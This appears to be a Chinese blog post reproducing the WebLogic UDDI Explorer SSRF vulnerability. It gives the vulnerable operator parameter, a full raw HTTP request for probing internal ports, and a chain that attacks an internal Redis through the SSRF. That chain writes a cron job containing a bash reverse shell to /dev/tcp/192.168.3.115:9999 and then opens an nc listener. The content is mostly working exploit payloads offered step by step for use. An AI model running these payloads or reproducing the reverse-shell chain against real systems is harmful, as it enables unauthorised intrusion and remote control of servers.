weblogic-ssrf

1 漏洞原理

  • ssrf探测内网ip、端口,根据回显不同来判断,出现问题的接口/uddiexplorer/SearchPublicRegistries.jsp,operator参数存在问题rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
  • payload
    operator=http://127.0.0.1:7001
    operator=http://127.0.0.1:9000

2 漏洞复现

payload

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Content-Length: 0
Host: 192.168.3.114
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=vSK2gsqPZg4dJ21k5TyHsj2GGGhtcjMbTsXQvTMZfSpCpymCLqXy!98287205
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

(1)探测本地7001端口
在这里插入图片描述

(2)探测本地9000端口
在这里插入图片描述

3 配合redis有奇效

原理是ssrf攻击内网的redis服务,使用换行,注入http头,在redis计划任务中写入反弹shell的命令
payload

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.3.115/9999 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

(1)探测开启了redis的ip及端口

(2)写入bash反弹,使用url编码
在这里插入图片描述
(3)开启nc监听

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值